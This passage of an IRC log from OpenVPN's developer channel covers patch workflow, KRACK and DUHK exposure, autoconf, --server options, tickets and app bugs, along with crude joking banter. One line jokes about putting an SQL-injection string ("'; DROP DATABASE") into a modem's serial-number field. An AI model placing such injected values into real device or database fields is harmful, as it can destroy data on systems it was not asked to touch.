ordex: I have over 1500 passwords ;) 02:21 <@cron2> ordex: do I have to? web page talks to me without registering 02:23 <@ordex> cron2: you need to be registered to get patches deleated to you 02:23 <@ordex> *delegated 02:24 <@cron2> ah 02:24 * cron2 is not registering 02:24 <@ordex> eh!! 02:24 <@ordex> :D 02:25 <@ordex> mattock: I think you can create new users manually, no? :D 02:26 <@ordex> btw, it's not about assessing workload..but just understanding who might be doing what and avoid wasting time on things that we know somebody is already looking at 02:30 <@cron2> I'm totally fine with actively *taking* patches that I intend to review, but I do not want to get anything delegated to me, ever, without explicitely agreeing to it (I have enough of that sort of "look, ma, a bit of work on your heap!" at work...) 02:36 <@ordex> hehe 02:37 <@ordex> well, how do we move forward for patches touching route/tun then? 02:37 <@ordex> just asking you because I felt you were somehow responsible for that area 02:37 <@ordex> not sayng you *have* to review new patches, but just want to hear what you think about the workflow in those areas 02:37 <@cron2> you bring beer and chocolate to the hackathon and bribe me into accepting these :-) 02:37 <@ordex> haha 02:37 <@ordex> :D 02:37 <@ordex> that can work! 02:54 <@dazo> CRCinAU: I prefer pass (http://passwordstore.org/ ) for password storage .... and with the otp plug-in, even OTP token data is securely managed 02:54 <@vpnHelper> Title: Pass: The Standard Unix Password Manager (at passwordstore.org) 02:58 < CRCinAU> dazo: thats worse than keepassxc ;) 02:58 <@dazo> CRCinAU: worse how? 02:59 <@ordex> ah is by zx2c4 :) 02:59 <@dazo> yeah 03:00 <@dazo> I like that pass uses gpg and git under the hood .... so it builds on existing and well proven software ... and in particular that the data is PGP encrypted 03:01 <@ordex> yeah sounds cool 03:01 <@ordex> but each pass is encrypted with which key ? 03:01 <@ordex> your key, basically? 03:01 <@dazo> yeah 03:01 <@dazo> you can define which key you want to use when initializing 03:02 <@ordex> yeah, plain simple and effective 03:02 <@ordex> does it integrate well with the rest ? 03:02 <@ordex> i.e. firefox/thunderbird, etc? or is it only for the web? 03:02 <@dazo> the development version of passff works fine 03:03 <@dazo> and the Password Store app in Android works quite well too .... except it doesn't pick up the webforms in Icecat on Android, but to me that's a minor annoyance (you can start the password app manually and copy it from there) 03:04 <@dazo> I haven't tried passff with Thunderbird yet though 03:49 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 03:54 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 03:54 -!- mode/#openvpn-devel [+o dazo] by ChanServ 04:59 <@cron2> ordex: coming back to the WPA2 thing. I think I understood what you explained to me, but... why do I need to upgrade APs then, if the attack is "MITM client traffic"? 05:02 <@ordex> cron2: good question 05:02 <@ordex> I think that the attack they showed is against clients, but the bug themselves are in every wpa implementations, including routers 05:02 <@ordex> if there is a proved attack against them..I don't know 05:03 <@ordex> the explanation I went through did not cover APs 05:46 <@dazo> I've also only seen the focus on the client side from a few different articles 06:01 <@ordex> honestly, these guys have done so much marketing and fuzz...but the thing is not that big 06:01 <@ordex> also the explanation video they posted on the krack website is quite unprofessional imho 06:02 <@ordex> with lot of focus put on the mitm techniques while that is not the scope of the attack itself 06:02 <@ordex> just 'attractive' 06:20 < slypknot> wpa_supplicatanr has already been patched to fix the CVE's related to KRACK .. so unless there is more found .. things look ok over all 06:21 < slypknot> supplicant* 06:23 < slypknot> ordex: thanks for that mtu-dynamic = fragment confirmation .. i was thinking that was probably what it was .. so it's just the error message is misleading , should say "fragment" 07:04 <@dazo> slypknot: for Linux computers, it is probably quite well covered and not much of an issue (given that people do update their systems) .... but on the Android side of things, it is very different 07:23 < slypknot> dazo: yep .. can andriod be patched ? or does the hardware have to be replaced .. how smart are those phones now ?! 07:25 < slypknot> in 1991 i took a "portable" pc to the pub to do some work and everybody stared at me like i was some sort of weirdo .. now i see people crossing the street, staring at their phone with earphones in .. who's stupid now ! 07:26 < Thermi> Patching android is sufficient 07:29 <@dazo> slypknot: oh, a software patch is more than enough ... but which phone vendor cares about updating 2 year old phones? 07:29 <@dazo> they barely care about 1 year old phones 07:30 <@dazo> LineageOS (former CM) are actually far saner OS versions, as they do get updated far better than most factory firmwares 07:31 < slypknot> the phone vendors will probably blame the wifi vendors 07:42 <@ordex> dazo++ 07:43 < slypknot> dazo: that idea i said i would test .. it works perfectly (no need to change any code) .. eg: push "ping 600" client just floats each time 08:14 -!- mode/#openvpn-devel [+o ordex] by ChanServ 12:54 <@cron2> bah, Linux software... 12:54 <@cron2> # Check and set OpenSSL paths 12:54 <@cron2> PKG_CHECK_MODULES(OPENSSL, openssl, [], [ AC_MSG_ERROR(openssl not found) ]) 12:54 <@cron2> as in "we don't actually *need* openssl, but we link curl, and that one might, but we still blow up if there is no openssl.pc found" 13:02 < floppym> Heh, someone fails at autoconf. 13:16 <@cron2> everyone fails at autoconf, it's so hard to get the stuff right in a way that is *truly* portable... took us like 5 patches for the lz4 variants... 13:18 <@dazo> so ... is it autoconf ... or portability which is the hard nut? ;-) 13:20 <@cron2> it is portability, but autoconf promises "if you enter this maze of crazyness, portability will be solved for you! automagically! just turn on EVERY FEATURE!" 13:20 <@cron2> and that is what you get... configure scripts that take 5 times as long to run as the subsequent "make" command, but still won't succeed anywhere but linux 13:21 <@cron2> (I'm amazed at the things autoconf can do, but the hoops you have to jump some times to really care for, well, "hard to port to" systems, are scary) 13:22 <@cron2> it's tempting to take the "here's just a list of answers for this target system!" approach some packages do... but these are hard to maintain as well 13:24 <@ordex> me votes for one Makefile per platform !! 13:24 < floppym> lz4 is kind of a "worst case" I think. 13:26 < floppym> Ugh; homegrown Makefiles are a nightmare. 13:26 <@cron2> ordex: that is the "here is just a list of answers for this target system" style 13:27 <@cron2> if you need a new library, you have to change all the makefiles (and re-test) 13:27 <@ordex> yeah 13:27 <@cron2> or start using a new library function, or require a new openssl version... 13:27 <@ordex> boom .-. 13:27 * cron2 likes homegrown (with loving care) Makefiles much more than the abomination automake creats... 13:27 <@cron2> but yeah, all software sucks 13:28 <@cron2> mgetty+sendfax successfully refuses to use auto-anything since over 20 years now :-) (and boy, some bits of that really stink, like "./configure --prefix=/some/special/place" is really useful) 13:31 < floppym> As a packager, automake at least gives us standard targets and variables to work with. 13:31 < floppym> It sucks having to figure out the nuances of every homegrown Makefile system. 13:53 <@cron2> agree 16:52 < slypknot> isn't that part of the openvpn-awesomeness challenge ? 18:09 -!- krzie [ba060e9e@openvpn/community/support/krzee] has joined #openvpn-devel 18:09 -!- mode/#openvpn-devel [+v krzie] by ChanServ 18:10 <+krzie> Connecting to swupdate.openvpn.net (swupdate.openvpn.net)|104.20.195.50|:443... connected. HTTP request sent, awaiting response... 403 Forbidden 18:11 <+krzie> could somebody copy https://swupdate.openvpn.net/repos/repo-public.gpg to another location for me pls 18:12 <+krzie> i tried browsing to the file, cloudflare makes me do the captcha over and over and over, even though it says im getting it right 18:14 <+krzie> actually nevermind ill go to another place where i have access to get to my servers and do it myself =] 18:14 <+krzie> ill finally be back online soon 18:14 -!- krzie [ba060e9e@openvpn/community/support/krzee] has quit [Quit: Page closed] --- Day changed Thu Oct 19 2017 01:02 <@mattock> krzie: try .org 01:26 <@ordex> :O 01:37 <@cron2> mornin 01:45 <@mattock> morning 01:51 <@ordex> moin 03:52 <+novaflash> http://www.imdb.com/title/tt0111361/ 03:52 <@vpnHelper> Title: Tammy and the T-Rex (1994) - IMDb (at www.imdb.com) 03:52 <+novaflash> uh.... 03:52 <+novaflash> wrong channel 03:52 <+novaflash> but do check it out it's funny 03:56 <@dazo> novaflash: I have no idea how you're able to stumble upon such things ......... 03:57 <@dazo> that movie sounds bad ..... but I wonder if it is so bad it actually makes it good enough to watch :-P 04:03 <+novaflash> eh just browsing the internet a bit 04:03 <+novaflash> the usual places 04:13 * dazo see krzee is getting connectivity again .... *happy* 04:16 <@ordex> yeah :) 04:16 <+novaflash> wow he's still alive? 04:28 <@dazo> unless someone stole his alternative nick ;-) 04:28 <@dazo> krzee ... we need a way to fully authenticate you! ;-) 04:39 <+novaflash> "how do we know it"s you?" you're a dick. "yeah, okay." 04:49 <@dazo> :-P 11:04 < slypknot> i am curious what this really means : Manual "--server .. if !nopool: 11:04 < slypknot> "if not nopool" ? 11:23 <@ordex> slypknot: think so. nopool is an argument to the --server option 11:23 <@ordex> so 'if "nopool" was not specified" ..' 11:24 < slypknot> ordex: ah .. thanks 11:24 < slypknot> technically it is wrong though .. 11:25 <@ordex> why? (I haven't checked) 11:25 < slypknot> if you Do specify --ifconfig-pool and --server = Fatal 11:25 < slypknot> so you cannot specify a pool 11:26 < slypknot> i mean .. and --server at the same time .. so the test is sort of pointless 11:28 <@ordex> mhh server implies ifconfig-pool (if you don't use nopool) 11:28 <@ordex> I guess that's why it can't be used together ? 11:28 < slypknot> it would bo good if you could do: --server 10.8.0.0 255.255.255.0 --ifconfig-pool 10.8.0.4 10.8.0.64 11:29 < slypknot> but in a way the manual is misleading .. you cannot use --ifconfig-pool if you use --server 11:30 <@ordex> unless you specify nopool :P 11:30 <@ordex> then you can do what you are saying, I think 11:30 <@ordex> no? 11:30 <@ordex> --server x x x nopool 11:30 < slypknot> nope 11:30 <@ordex> oh 11:30 <@ordex> ok 11:30 < slypknot> huh ! 11:30 < slypknot> i never saw that approah before ! 11:30 < slypknot> approach* 11:31 * slypknot is testing right now ! 11:31 <@ordex> ? 11:31 <@ordex> I think that should work 11:37 * slypknot bangs head on keyboard ! 11:38 < slypknot> yep .. i just missed it all this time ! 11:39 * slypknot offers ordex a suitable sacrifice 11:40 <@ordex> :D 11:40 < slypknot> one pinky oughta be enough ;) 11:40 <@ordex> slypknot: I just read that part of the manual you pointed out :P 11:40 <@ordex> I didn't know either 11:40 <@ordex> :D 11:40 < slypknot> cool ;) 11:42 < slypknot> ordex: tyvm 11:45 <@ordex> np :) 15:08 < slypknot> It springs to mind that .. instead of 'nopool' make --server only set a pool if none is specified with --ifconfig-pool .. 15:38 <@cron2> server is a macro which has well defined semantics - if you do not want that, just do not use server, but "mode server", "ifconfig" and "ifconfig-pool" instead 19:06 <@ordex> cron2++ 20:17 < slypknot> i would argue that the macroo for --server could be improved .. but i'm not gonna( i dont wanna sing out of tune..) 20:19 <@ordex> slypknot: consider that has been like that since ages ... changing something like that means breaking *tons* of configs 20:20 <@ordex> I'd rather argue thatif you see need for a better macro, a new one could be introduced 20:21 < slypknot> ordex: to be honest .. you already pointout out my stupidity 20:21 <@ordex> :D I did it discretely 20:21 <@ordex> :P 20:21 < slypknot> and i have read that fkn manual to death ! 20:22 < slypknot> you Sir .. are a Gentleman 20:23 < slypknot> i do truly respect what all these guy do 20:24 < slypknot> all *you* guys do 20:28 <@ordex> you hould just trust the manual more :P 20:28 <@ordex> hehe 21:24 < CRCinAU> so... question..... 21:25 < CRCinAU> the xdsl config file in my modem has the model & serial number that it provides to the DSLAM..... 21:25 < CRCinAU> and firmware version: 21:25 < CRCinAU> option eoc_serial_number 'CP1622TA54S 799vac 16.3' 21:25 < CRCinAU> I wonder what: option eoc_serial_number '; DROP DATABASE' would do 21:39 <@ordex> you can try 21:39 <@ordex> then connect twice 21:39 <@ordex> and see if it works 21:39 <@ordex> :d --- Day changed Fri Oct 20 2017 03:36 <@ordex> syzzer is not back yet, no ? 11:19 <@vpnHelper> RSS Update - tickets: #948: 2.3.18 Windows installer (vista+) overwrites system-path-variable <https://community.openvpn.net/openvpn/ticket/948> 11:58 <@cron2> again??? 11:58 <@cron2> mattock: yours 12:47 <@vpnHelper> RSS Update - tickets: #949: Forward Error Correction for OpenVPN <https://community.openvpn.net/openvpn/ticket/949> 14:06 <@mattock> cron2: it cannot overwrite the path because it does not touch it 14:06 <@mattock> but that is an old installer (2.3.18-based) 14:06 <@mattock> hmm, actually, it could overwrite it _now_ because the build computer is using unpatched nsis nowadays 14:07 <@mattock> I need to backport the "do not manipulate path" patch to release/2.3 branch in openvpn-build, plus the changes to easy-rsa 14:10 <@mattock> on my TODO - need to make a new 2.3.18 installer release 15:30 <@cron2> thanks 22:48 <@ordex> hi --- Day changed Sat Oct 21 2017 01:44 <@cron2> mornin 01:44 <@cron2> ... on my way to Dubai... 02:09 <@ordex> cron2: enjoy :) 02:09 <@ordex> here, after 3 days of clouds, it's basically summer again, yuppie dooo ;> 04:55 <@cron2> whee, wifi on the air 04:56 <@cron2> latency is somewhat annoying, but no packet loss - so SSH is reasonably usable 04:56 <@cron2> 64 bytes from 195.30.0.2: icmp_seq=1 ttl=51 time=754 ms 07:20 <@ordex> cron2: cool :) 07:20 <@ordex> which airline ? 07:20 <@ordex> emirates? 11:04 <@cron2> emirates, yes 19:22 <@vpnHelper> RSS Update - tickets: #950: Long-running VPN session stops decrypting data <https://community.openvpn.net/openvpn/ticket/950> --- Day changed Sun Oct 22 2017 08:34 <@cron2> slypknot: would you please stop harrassing people on trac? 08:35 <@cron2> #950 is not an obvious user error, and it's not your job to tell people to go away 08:44 < slypknot> ok 08:44 < slypknot> i bet it's just a timeout 08:45 < slypknot> i'll edit my port 08:46 < slypknot> post edited to a more polite message 09:30 < slypknot> cron2: if you did not see where he "truncated" his log (at verb 11 !!) .. Log chopped off at Sat Oct 21 10:15:02 2017 (line 3000 exactly) .. log continues (line 3008) at: Sat Oct 21 16:37:19 2017 .. six hours of undocumented useg followed by (line 4527) Sat Oct 21 16:37:26 2017 us=318859 MULTI: new connection by client 'phone' will cause previous active sessions by this client to be dropped 11:37 < kisahoshi> sup 11:37 < kisahoshi> can someone help me with /openvpn/ 11:38 < kisahoshi> how can i hide my traffic without ssl tunnel, ssh tunnel, or obfsproxy? my schools """firewall""" can see im running gentoo linux using openvpn so i need a way to hide that. i heard adding "port 443" to my openvpn config file will help, is this true 11:49 < m-a> kisahoshi: this has nothing to do with developing OpenVPN and does not belong in this channel 11:52 < kisahoshi> oh, sorry. i figured you al would know. where should i go for this? 11:54 < kisahoshi> apparently not, thanks 17:56 < slypknot> #950 help-vampire 18:01 < slypknot> 22 thousand lines of log .. really .. 18:01 < slypknot> you want to waste your time on it then go for it 18:03 < slypknot> i could pull a better "bug" report out of my ass ! 18:29 < slypknot> cron2: #950 ^ --- Day changed Mon Oct 23 2017 01:47 <@ordex> slypknot: just ignore 01:48 <@ordex> syzzer: about #950: might be related to some counter/variable wrapping around and leading to the issue (maybe only on some archs) 02:22 * ordex does not want to imagine how big can syzzer's backlog be :D 03:16 <@syzzer> ordex: I don't want to either :-p 03:16 <@ordex> :D 03:17 <@syzzer> but, I went through work mail yesterday, and (some of) the IRC backlog just now 03:17 <@ordex> so efficient! 03:17 <@ordex> :) 03:17 <@ordex> syzzer: did you happen to encounter the tls-crypt-v2 mail ? :P 03:17 <@syzzer> for the meeting this Wed, I will likely not make 19:00, but could do later 03:17 <@syzzer> ordex: skimmed it, but had no brains/time yet to actually think about it properly 03:18 <@ordex> that's good already :) thanks 03:21 <@cron2> whee, syzzer is back! 03:21 <@cron2> (this week, I won't make wed - I'm in dubai, and at 2100 local time, I'll be partying) 03:25 <@ordex> :D good plan 03:29 <@cron2> https://ripe75.ripe.net/programme/social-events/wednesday/ 03:29 <@vpnHelper> Title: RIPE 75 Dinner RIPE 75 (at ripe75.ripe.net) 04:11 <@syzzer> that does not look bad at all! --- Log opened Mon Oct 23 06:55:49 2017 06:55 -!- Irssi: #openvpn-devel: Total of 33 nicks [9 ops, 0 halfops, 3 voices, 21 normal] 06:55 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 06:55 -!- Irssi: Join to #openvpn-devel was synced in 1 secs --- Day changed Tue Oct 24 2017 07:09 < natewin> Hello. If I find a problem with OpenVPN connect for Android would I discuss that here? 07:11 < natewin> I cannot create shortcuts since upgrading to Android 8 from Android 7. These shortcuts are the homescreen icons that allow for quickly connecting and disconnecting from OpenVPN connect. 07:12 < natewin> In Android 7 when you select the option from within OpenVPN connect to create a shortcut it would leave the app and create the shortcut. In Android 8 it doesn't seem to do anything. 07:19 <@cron2> *connect* is the commercially-backed openvpn client, no idea (unfortunately) what the support/discuss forum for that is. dazo: any idea? 07:19 <@cron2> There's "OpenVPN for Android", which is the full open source client, but I have no idea whether that one does shortcuts 07:21 <@dazo> ordex, mattock, novaflash: ^^^^^ 07:22 <@dazo> natewin: Not sure if this is a known issue or not, but we definitely need to double check this. That said, there's lots of things happening on the OpenVPN Connect side of things, but I have no overview right now on the Android side 07:23 <@dazo> novaflash: do we have a bug tracker for OC Android we can point people at? 07:27 < natewin> I will take a look at OpenVPN For Android. I had not heard of it as I've just been using Connect all along and it has been working well. 07:27 < natewin> Thank you for pointing that out. 08:07 <+novaflash> natewin: no doubt this is an issue new to android 8 and will eventually be picked up by our developers. but you can report it direclty to android@openvpn.net. do not expect a fix immediately, it will be handled in due course. 08:08 <+novaflash> if you send it to android@openvpn.net it gets directly to the guys that need to know 08:13 <+novaflash> and bug tracker... don't think so. maybe in jira? 08:45 < slypknot> systemd strikes again : https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=792653 08:45 <@vpnHelper> Title: #792653 - openvpn: Unprivileged mode results in "sudo: unable to send audit message: Operation not permitted" - Debian Bug report logs (at bugs.debian.org) 10:13 <@ordex> natewin: openvpn inc. is about to release a new version of the app fixing that and other android 8 issues 10:13 <@ordex> stay tuned! 10:15 <+novaflash> wow didn't know that 10:15 <+novaflash> neato 10:15 < natewin> Thank you 12:26 < slypknot> I wonder if openvpn should have a systemd specific page on the wiki ? 12:55 <@cron2> ordex: iOS as well? 12:56 <@ordex> ios has no shortcut feature 12:56 <@ordex> but a release is in the pipe 12:56 <@cron2> it has, but it will have other bugs :-) - more wondering about "will there be a release", and you answered that :-) 12:56 <@cron2> who is doing app development these days? 12:57 <@ordex> me :D 12:57 <@cron2> ah! 12:57 <@cron2> (so it's not very surprising you know details novaflash didn't ;-) ) 12:57 <@ordex> :P 12:57 <+novaflash> i tell you 12:57 <@ordex> yeah i fixed those things :P 12:57 <@ordex> hehe 12:58 <+novaflash> there's a lot of things i don't know 12:58 <+novaflash> i know almost nothing about everything 12:58 <+novaflash> let that be a lesson to you all 12:58 <@cron2> novaflash: do not disappoint us. We expect you to know ALL about AS bugs 12:58 <+novaflash> i don't know what you're talking about 12:58 <+novaflash> there are no bugs in AS 12:59 <+novaflash> only things we haven't worked out how we want it to be yet 12:59 <@cron2> of course, and surprise features 12:59 <+novaflash> those are the best 13:08 <@ordex> :P 16:48 < slypknot> ecrist: ping 17:10 < slypknot> nvm email on the way 17:41 <@dazo> slypknot: that systemd issue is actually about openvpn not running with enough privileges, as we're restricting (through systemd) what openvpn can do .... so Bernard closed that one as wontfix 18:09 < slypknot> dazo: yes i understand that .. i was thinking it might make sense to have an openvpn/systemd page on the wiki to document such 18:11 < slypknot> could also have links to such systemd issues 18:20 <@dazo> slypknot: yeah, I somewhat agree .... "how to use systemd properly" + known issues are worth listing there .... but reported issues which aren't really issues doesn't really belong there 18:20 < slypknot> ok 18:21 < slypknot> but sometimes those posts are quite informative 18:24 < slypknot> dazo: mattock when you see the email about "CRL update period" .. syzzer did ok it via the ML 18:25 < slypknot> some time ago 18:29 < jellycode> !meetings 18:29 <@vpnHelper> "meetings" is (#1) OpenVPN developers meetings are usually held on Mondays @ 18:00 UTC. Ask mattock, cron2 or dazo for latest info. Meetings are normally announced in advance on the openvpn-devel mailing list, or (#2) Meeting agendas and minutes are here: https://community.openvpn.net/openvpn/wiki/IrcMeetings 18:38 < slypknot> dazo: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14496.html :: also https://community.openvpn.net/openvpn/wiki/SandBox?action=diff&version=6 18:38 <@vpnHelper> Title: Re: [Openvpn-devel] 2.4 sees all client certificates as expired when using crl-verify (at www.mail-archive.com) 19:19 <@ordex> natewin: the new Android app is out for beta testing. you can sign up on playstore if you want to try it out --- Day changed Wed Oct 25 2017 02:04 <@syzzer> looks like I can make the meeting tonight :) 02:06 <@ordex> cool! 02:07 <@ordex> novaflash: are you awake? 02:07 <+novaflash> no 02:07 <@ordex> mh.. 02:08 <@ordex> syzzer is awake..I don't see why you should be sleeping ! 02:08 <+novaflash> but unconscious i am still a formidable enemy 02:09 <@ordex> I bet 02:09 <+novaflash> for example, i can drool on you 02:09 <+novaflash> can i do anything for you today mr. ordex? maybe drool on something? 02:09 <@ordex> can you sing a song ? 02:09 <@ordex> in Danish 02:09 <+novaflash> if you stretch the definition of sing a lot, then yes 02:10 <+novaflash> oh i'm sure i can do that too 02:10 <+novaflash> if you stretch the definition of Danish a lot too 02:10 <@ordex> :D 02:11 <@ordex> strech from Denmark to the Netherlands is what you mean? 02:13 <+novaflash> Danish and Dutch start with the same letter and how different are they really? 02:13 <+novaflash> i mean they're practically on the same planet 02:17 <@ordex> almost 06:17 < natewin> ordex: Thank you. I was able to get the beta this morning. Unfortunately the app now crashes when creating any shortcut. I submitted feedback when prompted after the crash. Android 8.0 on a 1st gen Pixel XL. Beta OpenvVPN connect. 06:24 <@ordex> natewin: thanks for reporting back 07:31 <@ecrist> slypknot: pong 08:02 < slypknot> ecrist: it was about the easyrsa 3 vars - section gen-crl : it says "Note that the CRL can still be parsed after this timeframe passes" but now the SSL lib does the CRL check I don't think this is true anymore .. ? 08:23 <@ecrist> what do you mean "the SSL lib does the CRL check"? 08:25 < slypknot> https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg14496.html 08:25 <@vpnHelper> Title: Re: [Openvpn-devel] 2.4 sees all client certificates as expired when using crl-verify (at www.mail-archive.com) 08:25 < slypknot> https://community.openvpn.net/openvpn/wiki/SandBox?action=diff&version=6 08:25 <@vpnHelper> Title: SandBox (diff) – OpenVPN Community (at community.openvpn.net) 08:28 <@mattock> just got back from the cruise of which some may know something about 08:28 <@mattock> I recall that cron2 won't make it today 08:28 <@mattock> how about syzzer and ordex? 08:31 <@syzzer> I'm available 08:37 <@mattock> syzzer: ok 08:40 <@mattock> I'll try to reach ordex - we could potentially take care of tls-crypt-v2 today 08:52 <@mattock> sent invitation 08:56 <@d12fk> hackathon date is coming closer, just reviewed the participants list and didn't find James. Is he coming? 09:11 <@ecrist> slypknot: what's the problem? 09:17 < slypknot> ecrist: once the default 180 days expires on the current crl then all connections are rejected .. so the documentation (ie. vars.example) is wrong because it says the opposite .. shall i just raise a bug rep on github ? 09:27 <@cron2> d12fk: good question, haven't heard anything. mattock, dazo? 09:40 <@mattock> d12fk, cron2: I'm sure he is, but I can ask him today 10:00 <@dazo> d12fk: cron2: Yeah, I'm quite sure James is coming ... he is just too busy on a large internal project. The other day he said he wanted to finish a large chunk of that work before he would travel to the hackathon 10:14 <@cron2> so he should start booking hotel and flight eventually :) 10:14 <@cron2> but good to hear that 10:14 <@cron2> anyway - need to leave now, have a good meeting 10:19 <@ordex> mattock: syzzer I am here 10:22 <@d12fk> ok, good to know, looking forward to meeting you 10:43 < slypknot> mattock: now I understand why the wiki is "organised" as it is (not) ;) 11:25 <@dazo> Trac is definitely showing its age ... and we've used it for 8-9 years or so 11:36 < slypknot> dazo: just added an item to deprecated features "--X509-username-field automatic upcasing" ;) https://community.openvpn.net/openvpn/wiki/DeprecatedOptions 11:36 <@vpnHelper> Title: DeprecatedOptions – OpenVPN Community (at community.openvpn.net) 11:40 <@dazo> slypknot: what's the rationale? 11:41 < slypknot> dazo: it's deprecated .. is that not enough ? 11:41 <@dazo> I probably don't recall all details, but --x509-username-field is not being deprecated 11:42 < slypknot> no .. it is the auto-upcasing of all lower case field names L eg. ou -> OU 11:43 < slypknot> both man 2.3 & 2.4 have a depr. notice 11:51 <@syzzer> slypknot: yes, very good 11:53 * slypknot slaps fins tiogether and bounces beachball on nose ;) 11:56 <@dazo> slypknot: ahh! okay, that makes sense 11:57 <@dazo> sorry for being sceptic ;-) 11:57 < slypknot> no prob .. comes with the turf ;) 12:23 <@ecrist> slypknot: I don't see the comment as being incorrect 12:23 <@ecrist> maybe I'm missing something 12:24 <@ecrist> I understand the complaint, but it's really a matter of 2.4 doing what it should have all along 12:45 < slypknot> ecrist: fair enough .. technically correct unhelpful gibberish it is then :D 12:51 < slypknot> has anybody ever read the README for LZOcodec0.4 (for windows) .. the first line reads "WHAT THE **** IS THIS ****" and those *'s are not *'s in the file. 12:51 < slypknot> Now that's what i call a readme ! ;) 17:13 <@cron2> re... 21:51 <@ordex> re.. 21:51 <@ordex> cron2: did you have fun? :) --- Day changed Thu Oct 26 2017 00:04 <@cron2> orex: lots! 00:19 <@ordex> :) 01:42 < cthuluh> hi. fwiw, I've just sent a follow-up to the "Fix time_t printing" thread on the openvpn-devel ml; I'm available in case people want to chat about it 03:23 <@syzzer> cthuluh: sorry for the slow responses, but replies on the list :) 03:25 < cthuluh> syzzer: nice, thanks :) 05:51 <@dazo> syzzer: Do you recall if there are other sources of randomness in OpenVPN than calling rand_bytes()? 05:52 <@dazo> I don't think so, but just want to be 100% sure 06:09 <@syzzer> dazo: yes, prng_bytes(), e.g. 06:10 <@dazo> but prng_bytes() builds on rand_bytes(), if I've understood the code correctly 06:10 <@syzzer> I've been working on refactoring the whole randomness approach to be more straightforward and thereby easier to verify 06:10 <@syzzer> but doing that correctly needs quite a bit of changes in the callers too 06:11 <@syzzer> yeah, builds on, with a own prng on top 06:11 <@dazo> right 06:12 <@dazo> Going to make some factoid entry (and a tweet) about OpenVPN and DUHK ... I don't see we're even close to being vulnerable there (but people do ask) 06:12 <@dazo> we don't have hard coded seeds .... and it seems neither openssl nor mbed tls even touches the ANSI X9.31 RNG 06:13 <@dazo> plus both ssl libs do re-seeding regularly 06:14 <@syzzer> correct 06:14 <@dazo> \o/ I've understood something! :-P 06:19 <@syzzer> hehe 06:38 <@dazo> syzzer: can you quickly eye-ball this one? https://community.openvpn.net/openvpn/wiki/DUHKattack 06:38 <@vpnHelper> Title: DUHKattack – OpenVPN Community (at community.openvpn.net) 07:22 <@syzzer> dazo: looks good 07:22 <@dazo> thx! 07:49 < slypknot> novaflash: lol .. damn users ! 07:49 <+novaflash> hi slypknot 07:50 <+novaflash> what damn users? 07:50 <+novaflash> drug users? 07:52 < slypknot> your last post 07:52 <+novaflash> on the forum? 07:52 <+novaflash> oh yeah 07:52 <+novaflash> like jezus man what are you even doing 07:52 < slypknot> Sometimes I have to fight real hard not to do the same :D 07:52 * slypknot = tincantech (FYI) 07:53 <+novaflash> i figure i can be a little rougher on the forums, but i would never be able to do that on the support ticket system 07:53 <+novaflash> ahhhhh 07:53 <+novaflash> my savior 07:53 < slypknot> LOL 07:53 < slypknot> how kind :-) 07:54 <+novaflash> i also found out that our profanity filter is somewhat broken 07:54 <+novaflash> i tried to type fucking 07:54 <+novaflash> but it turned it into   on the page 07:55 <+novaflash> i assume it meant to bleep it out or something 07:55 <+novaflash> in a way,   is kind of appropriate 07:55 <+novaflash> looks sort of like swearing in a cartoonish way 07:55 < slypknot> hahaha .. yeah i think that is what it's meant to do 07:56 <+novaflash> i had a hilarious thing happen a long time ago 07:56 <+novaflash> i posted a reply to a guy on the forums 07:56 <+novaflash> then on the support ticket system the guy reported that he asked on the forums but he got a rude reply 07:56 < slypknot> hahah 07:56 <+novaflash> he of course didn't recognize me because my nick on the forums is not the same as my real name obviously 07:56 <+novaflash> but that was rather funny 07:57 < slypknot> I have two warnings for not playing nice with the idiots .. like a cat with a half dead mouse ;) 07:58 < slypknot> can't change the cat 07:58 <+novaflash> oh oh dear 07:58 <+novaflash> did i deserve a warning now? 07:58 <+novaflash> or was i within the bounds of conduct? 07:58 < slypknot> no idea .. i do CE you do corp 07:59 < slypknot> look forward to your papers in the post :D 08:00 < slypknot> Sometimes (friday night after a couple of beers) I type in a reply then I read it and think .. yeah that will get me banned for ever ! (delete) 08:02 <+novaflash> i sometimes get a little close to the line 08:03 <+novaflash> but i'll never go over it 08:03 <+novaflash> well i did tell people to go fuck themselves 08:03 <+novaflash> but then that was after i had established a report with them 08:03 <+novaflash> and it was in jest 08:05 < slypknot> "a raport" .. but yeah if they know it's a joke it should be ok but I would never actually swear (or even allude to swaering) my self .. If I can't answer without swearing I don't answer ;) 08:06 <+novaflash> brainfart, i meant rapport 08:06 <+novaflash> not sure raport is correct spelling..? 08:06 <+novaflash> slypknot: oh go fuck yourself ;) 08:06 < slypknot> LMAO 08:07 <+novaflash> but gently! 08:07 < slypknot> upyours you dutch bastard :_D 08:07 <+novaflash> i mean i don't mean it in any bad way you know 08:07 <+novaflash> haha thanks 08:08 < slypknot> novaflash: you are dutch right ? 08:09 <+novaflash> that's what my parents tell me 08:09 <+novaflash> or at least they tell me they are my parents... *suspicious* 08:10 < slypknot> gotcha :) my parents told me I was a "pain in the arse" but I could not find arse on a map .. so I don't know wwhat I am 08:11 < slypknot> I told them .. 50% nature 50% nurture .. so i blamed it all on them 08:12 <+novaflash> well as long as you're just a pain in your own arse i'm fine with that. 08:12 <+novaflash> where are you from? amhurrrica? gehurrrmany? 08:13 < slypknot> hengeland 08:13 < slypknot> where the henge is ;) 08:14 <+novaflash> 3 british girls have broken my heart 08:14 <+novaflash> as far as i'm concerned, england doesn't exist 08:15 <+novaflash> although 08:15 <+novaflash> hmm full british breakfast 08:15 <+novaflash> ah shit okay fine england can exist 08:15 < slypknot> cool english breakfast rocks :) 08:15 <+novaflash> now to address you in the common british language: 08:15 <+novaflash> oy cunt 08:15 < slypknot> fuck you sunshine ! 08:15 <+novaflash> up yours wanker 08:15 < slypknot> *fight * 08:15 <+novaflash> *beer* 08:16 <+novaflash> i have successfully integrated into british society 08:16 * slypknot kicks novaflash in the family jewels .. down you do ! 08:16 < slypknot> go* 08:16 < slypknot> i guess those girls you met were quite common 08:18 <+novaflash> one hooked up with another guy before i could make a move. one i dated for a short while then she somehow contracted a disease. boyfriend, i think she called it. and the third, well, we hit it off, and she disappeared off the face of the earth. no idea what happened. 08:18 <+novaflash> i am just that good with women i guess 08:18 < slypknot> yeah .. they sound quite awful .. nice ass shame about the morals by the sound of it ! 08:20 